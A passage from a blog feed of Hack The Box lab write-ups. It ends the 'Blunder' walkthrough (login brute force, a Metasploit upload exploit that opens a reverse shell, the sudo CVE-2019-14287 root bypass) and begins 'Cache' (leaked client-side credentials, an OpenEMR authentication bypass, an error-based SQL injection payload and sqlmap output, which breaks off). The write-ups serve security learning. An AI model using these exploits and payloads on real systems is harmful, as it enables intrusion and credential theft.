&lt;p&gt;After dirbusting we find a &lt;strong&gt;todo.txt&lt;/strong&gt; file that contains a potential username: &lt;strong&gt;fergus&lt;/strong&gt;&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;wscan@kali:~/htb/blunder$ ffuf -w $WLRC -t 50 -e .txt -u http://blunder.htb/FUZZ -fc 403

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.1.0-git
________________________________________________

 :: Method           : GET
 :: URL              : http://blunder.htb/FUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/common.txt
 :: Extensions       : .txt 
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 50
 :: Matcher          : Response status: 200,204,301,302,307,401,403
 :: Filter           : Response status: 403
________________________________________________

0                       [Status: 200, Size: 7561, Words: 794, Lines: 171]
LICENSE                 [Status: 200, Size: 1083, Words: 155, Lines: 22]
about                   [Status: 200, Size: 3280, Words: 225, Lines: 106]
admin                   [Status: 301, Size: 0, Words: 1, Lines: 1]
cgi-bin/                [Status: 301, Size: 0, Words: 1, Lines: 1]
robots.txt              [Status: 200, Size: 22, Words: 3, Lines: 2]
robots.txt              [Status: 200, Size: 22, Words: 3, Lines: 2]
todo.txt                [Status: 200, Size: 118, Words: 20, Lines: 5]

snowscan@kali:~/htb/blunder$ curl http://blunder.htb/todo.txt
-Update the CMS
-Turn off FTP - DONE
-Remove old users - DONE
-Inform fergus that the new blog needs images - PENDING

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;To brute force we can use the following script: https://rastating.github.io/bludit-brute-force-mitigation-bypass/&lt;/p&gt;

&lt;p&gt;I modified it a little bit to take a wordlist from argv:&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;p&quot;&gt;[...]&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;host&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'http://10.10.10.191'&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;login_url&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;host&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'/admin/login'&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;username&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'fergus'&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;wordlist&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[]&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;with&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sys&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;argv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;passwords&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;read&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;splitlines&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;    
&lt;span class=&quot;p&quot;&gt;[...]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We can use cewl on the site to generate a wordlist.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;snowscan@kali:~/htb/blunder$ cewl http://blunder.htb &amp;gt; cewl.txt
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Next, bruteforcing…&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;snowscan@kali:~/htb/blunder$ chmod +x b.py 
snowscan@kali:~/htb/blunder$ ./b.py cewl.txt
[*] Trying: CeWL 5.4.8 (Inclusion) Robin Wood (robin@digi.ninja) (https://digi.ninja/)
[*] Trying: the
[...]
[*] Trying: character
[*] Trying: RolandDeschain

SUCCESS: Password found!
Use fergus:RolandDeschain to login.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;getting-a-shell&quot;&gt;Getting a shell&lt;/h2&gt;

&lt;p&gt;We can use Metasploit to get a shell with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;linux/http/bludit_upload_images_exec&lt;/code&gt;&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;msf5 exploit(linux/http/bludit_upload_images_exec) &amp;gt; show options

Module options (exploit/linux/http/bludit_upload_images_exec):

   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   BLUDITPASS  RolandDeschain   yes       The password for Bludit
   BLUDITUSER  fergus           yes       The username for Bludit
   Proxies                      no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS      10.10.10.191     yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:&amp;lt;path&amp;gt;'
   RPORT       80               yes       The target port (TCP)
   SSL         false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI   /                yes       The base path for Bludit
   VHOST                        no        HTTP server virtual host


Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.10.14.29      yes       The listen address (an interface may be specified)
   LPORT  80               yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Bludit v3.9.2
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;msf5 exploit(linux/http/bludit_upload_images_exec) &amp;gt; run

[*] Started reverse TCP handler on 10.10.14.29:80 
[+] Logged in as: fergus
[*] Retrieving UUID...
[*] Uploading AqdgdpaOLi.png...
[*] Uploading .htaccess...
[*] Executing AqdgdpaOLi.png...
[*] Sending stage (38288 bytes) to 10.10.10.191
[*] Meterpreter session 2 opened (10.10.14.29:80 -&amp;gt; 10.10.10.191:34040) at 2020-05-30 16:59:15 -0400
[+] Deleted .htaccess

meterpreter &amp;gt; shell
Process 5132 created.
Channel 0 created.
python -c 'import pty;pty.spawn(&quot;/bin/bash&quot;)'
www-data@blunder:/var/www/bludit-3.9.2/bl-content/tmp$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@blunder:/var/www/bludit-3.9.2/bl-content/tmp$
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;access-to-user-hugo&quot;&gt;Access to user hugo&lt;/h2&gt;

&lt;p&gt;There’s another Bludit CMS installation in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/var/www/bludit-3.10.0a&lt;/code&gt;&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;www-data@blunder:/var/www$ cat bludit-3.10.0a/bl-content/databases/users.php
cat bludit-3.10.0a/bl-content/databases/users.php
&amp;lt;?php defined('BLUDIT') or die('Bludit CMS.'); ?&amp;gt;
{
    &quot;admin&quot;: {
        &quot;nickname&quot;: &quot;Hugo&quot;,
        &quot;firstName&quot;: &quot;Hugo&quot;,
        &quot;lastName&quot;: &quot;&quot;,
        &quot;role&quot;: &quot;User&quot;,
        &quot;password&quot;: &quot;faca404fd5c0a31cf1897b823c695c85cffeb98d&quot;,
        &quot;email&quot;: &quot;&quot;,
        &quot;registered&quot;: &quot;2019-11-27 07:40:55&quot;,
        &quot;tokenRemember&quot;: &quot;&quot;,
        &quot;tokenAuth&quot;: &quot;b380cb62057e9da47afce66b4615107d&quot;,
        &quot;tokenAuthTTL&quot;: &quot;2009-03-15 14:00&quot;,
        &quot;twitter&quot;: &quot;&quot;,
        &quot;facebook&quot;: &quot;&quot;,
        &quot;instagram&quot;: &quot;&quot;,
        &quot;codepen&quot;: &quot;&quot;,
        &quot;linkedin&quot;: &quot;&quot;,
        &quot;github&quot;: &quot;&quot;,
        &quot;gitlab&quot;: &quot;&quot;}
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The password hash can be cracked online with Crackstation or a similar site: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Password120&lt;/code&gt;&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;www-data@blunder:/var/www$ su -l hugo
su -l hugo
Password: Password120

hugo@blunder:~$ cat user.txt
cat user.txt
4b411f0fc0e09a1091c6de87d1f91aaf
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;privesc&quot;&gt;Privesc&lt;/h2&gt;

&lt;p&gt;The sudoers privileges our user has don’t appear to give us anything we can use since it explicitely blocks root.&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;hugo@blunder:~$ sudo -l
Password: Password120

Matching Defaults entries for hugo on blunder:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User hugo may run the following commands on blunder:
    (ALL, !root) /bin/bash
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;However, because of CVE-2019-14287 in sudo, we can bypass the username check by using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;#-1&lt;/code&gt; and we get a root shell.&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;hugo@blunder:~$ sudo -u#-1 /bin/bash
sudo -u#-1 /bin/bash
root@blunder:/home/hugo# id
id
uid=0(root) gid=1001(hugo) groups=1001(hugo)
root@blunder:/home/hugo# cat /root/root.txt
cat /root/root.txt
5d649f5bcb1be5f93702a7a71cd4d77e
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;</content><author><name>Snowscan</name><email>info@snowscan.io</email></author><category term="hackthebox" /><category term="infosec" /><category term="linux" /><category term="bludit cms" /><category term="wordlist" /><category term="cewl" /><category term="bruteforce" /><category term="sudo" /><summary type="html">Blunder was an easy box for beginners that required bruteforcing the login for a Bludit CMS, then exploiting a known CVE through Metasploit to get remote code execution. The priv esc is a neat little CVE with sudo that allows us to execute commands as root even though the root username is supposed to be blocked.</summary></entry><entry><title type="html">Cache - Hack The Box</title><link href="https://snowscan.io/htb-writeup-cache/" rel="alternate" type="text/html" title="Cache - Hack The Box" /><published>2020-10-10T00:00:00+00:00</published><updated>2020-10-10T00:00:00+00:00</updated><id>https://snowscan.io/htb-writeup-cache</id><content type="html" xml:base="https://snowscan.io/htb-writeup-cache/">&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-cache/cache_logo.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;On Cache, we start off with bypassing a simple login form that uses client-side user/password validation, then find a vhost with a vulnerable OpenEMR application. After bypassing the login page, obtaining a valid session cookie and dumping the database through a SQLi injection vulnerability we exploit yet another OpenEMR CVE to get a shell. From there we have access to a memcache instance holding more credentials in memory so we can escalate to another user. Using the docker group membership of that last user, we’re able to launch a privileged container and get root privileges on the host itself.&lt;/p&gt;

&lt;h2 id=&quot;recon&quot;&gt;Recon&lt;/h2&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;snowscan@kali:~$ sudo nmap -sC -sV 10.10.10.188
[sudo] password for snowscan: 
Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-09 18:28 EDT
Nmap scan report for cache.htb (10.10.10.188)
Host is up (0.017s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 a9:2d:b2:a0:c4:57:e7:7c:35:2d:45:4d:db:80:8c:f1 (RSA)
|   256 bc:e4:16:3d:2a:59:a1:3a:6a:09:28:dd:36:10:38:08 (ECDSA)
|_  256 57:d5:47:ee:07:ca:3a:c0:fd:9b:a8:7f:6b:4c:9d:7c (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Cache
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.63 seconds
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;website-recon&quot;&gt;Website recon&lt;/h2&gt;

&lt;p&gt;Main website page:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-cache/website1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Login page:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-cache/website2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The login page source code uses the following javascript file:&lt;/p&gt;

&lt;div class=&quot;language-html highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nt&quot;&gt;&amp;lt;script &lt;/span&gt;&lt;span class=&quot;na&quot;&gt;src=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;jquery/functionality.js&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The client-side javascript code is responsible for authentication and we can see the user/pass in the code: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ash / H@v3_fun&lt;/code&gt;&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;checkCorrectPassword&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(){&lt;/span&gt;
        &lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;Password&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;#password&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;val&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Password&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;H@v3_fun&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;){&lt;/span&gt;
            &lt;span class=&quot;nx&quot;&gt;alert&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;Password didn't Match&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
            &lt;span class=&quot;nx&quot;&gt;error_correctPassword&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;checkCorrectUsername&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(){&lt;/span&gt;
        &lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;Username&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;#username&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;val&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Username&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;ash&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;){&lt;/span&gt;
            &lt;span class=&quot;nx&quot;&gt;alert&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;Username didn't Match&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
            &lt;span class=&quot;nx&quot;&gt;error_username&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Once logged in we have the following page:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-cache/website3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;This seems like a dead end so let’s move on. Next, on the author page we have a reference to HMS (Hospital Management System). This could be a vhost on the server because we haven’t seen a link to this on the main page.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-cache/website4.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;fuzzing-vhosts&quot;&gt;Fuzzing vhosts&lt;/h2&gt;

&lt;p&gt;I missed this part at first because they didn’t use $VHOST.cache.htb but instead had used $VHOST.htb.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;snowscan@kali:~$ ffuf -w ~/tools/SecLists/Discovery/DNS/subdomains-top1million-20000.txt -fw 902 -H &quot;Host: FUZZ.htb&quot; -u http://cache.htb

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.1.0-git
________________________________________________

 :: Method           : GET
 :: URL              : http://cache.htb
 :: Wordlist         : FUZZ: /home/snowscan/tools/SecLists/Discovery/DNS/subdomains-top1million-20000.txt
 :: Header           : Host: FUZZ.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403
 :: Filter           : Response words: 902
________________________________________________

hms                     [Status: 302, Size: 0, Words: 1, Lines: 1]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;hms-website&quot;&gt;HMS website&lt;/h2&gt;

&lt;p&gt;We found the HMS website &lt;strong&gt;hms.htb&lt;/strong&gt; but we don’t have the credentials to log in.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-cache/hms1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Let’s dirbust the site to see if we can find anything interesting.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;snowscan@kali:~$ gobuster dir -w tools/SecLists/Discovery/Web-Content/big.txt -u http://hms.htb
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) &amp;amp; Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://hms.htb
[+] Threads:        10
[+] Wordlist:       tools/SecLists/Discovery/Web-Content/big.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2020/05/09 19:17:40 Starting gobuster
===============================================================
/.htaccess (Status: 403)
/.htpasswd (Status: 403)
/LICENSE (Status: 200)
/ci (Status: 301)
/cloud (Status: 301)
/common (Status: 301)
/config (Status: 301)
/contrib (Status: 301)
/controllers (Status: 301)
/custom (Status: 301)
/entities (Status: 301)
/images (Status: 301)
/interface (Status: 301)
/javascript (Status: 301)
/library (Status: 301)
/modules (Status: 301)
/myportal (Status: 301)
/patients (Status: 301)
/portal (Status: 301)
/public (Status: 301)
/repositories (Status: 301)
/server-status (Status: 403)
/services (Status: 301)
/sites (Status: 301)
/sql (Status: 301)
/templates (Status: 301)
/tests (Status: 301)
/vendor (Status: 301)
===============================================================
2020/05/09 19:18:13 Finished
===============================================================
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/sql&lt;/code&gt; directory contains a bunch of upgrade files, so based on the names we can guess we’re currently running verison 5.0.1&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-cache/hms2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;retrieving-the-username-and-password-from-the-sql-database&quot;&gt;Retrieving the username and password from the SQL database&lt;/h2&gt;

&lt;p&gt;After doing some research we find a vulnerability report that contains many SQL injection vulnerabilities:&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://www.open-emr.org/wiki/images/1/11/Openemr_insecurity.pdf&quot;&gt;https://www.open-emr.org/wiki/images/1/11/Openemr_insecurity.pdf&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;There’s an information disclosure vulnerability where we can find the database name and version of the application.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Version: 5.0.1(3)&lt;/li&gt;
  &lt;li&gt;DB name: openemr&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-cache/version.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;First, we’ll bypass the authentication page by visiting the registration page then browsing to another page like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;add_edit_event_user.php&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-cache/bypass1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;I’ll grab the cookie values so I can use them with sqlmap.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-cache/bypass2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;We can do the SQL injection manually like the following and extract information like the database server version.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;GET /portal/find_appt_popup_user.php?catid=1'+AND+(SELECT+0+FROM(SELECT+COUNT(*),CONCAT(%40%40VERSION,FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.PLUGINS+GROUP+BY+x)a)--+-
[...]
Duplicate entry '5.7.30-0ubuntu0.18.04.11' for key '&amp;amp;lt;group_key&amp;amp;gt;'
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;But instead we’ll use sqlmap to speed up the exploitation of this box. We can see here that sqlmap has identified the injection point for the vulnerability and it is error-based so it should be quick to dump the contents of the database.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;snowscan@kali:~/htb/cache$ sqlmap -u &quot;http://hms.htb/portal/find_appt_popup_user.php?catid=*&quot; --cookie=&quot;OpenEMR=vp4f9asgbv507vpt84cioecmbg; PHPSESSID=cs1o3vot21n4odtira0s19iqu1&quot; --technique E --dbms=mysql        ___
       __H__
 ___ ___[']_____ ___ ___  {1.4.4#stable}
|_ -| . [.]     | .'| . |
|___|_  [(]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 09:32:35 /2020-05-10/

custom injection marker ('*') found in option '-u'. Do you want to process it? [Y/n/q] 
[09:32:37] [WARNING] it seems that you've provided empty parameter value(s) for testing. Please, always use only valid parameter values so sqlmap could be able to run properly
[09:32:37] [INFO] testing connection to the target URL
[09:32:37] [INFO] heuristic (basic) test shows that URI parameter '#1*' might be injectable (possible DBMS: 'MySQL')
[09:32:37] [INFO] testing for SQL injection on URI parameter '#1*'
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] 
[09:32:40] [INFO] testing 'MySQL &amp;gt;= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[09:32:40] [WARNING] reflective value(s) found and filtering out
[09:32:43] [INFO] testing 'MySQL &amp;gt;= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
[09:32:46] [INFO] testing 'MySQL &amp;gt;= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
[09:32:49] [INFO] testing 'MySQL &amp;gt;= 5.5 OR error-based - WHERE or HAVING clause (EXP)'
[09:32:52] [INFO] testing 'MySQL &amp;gt;= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'
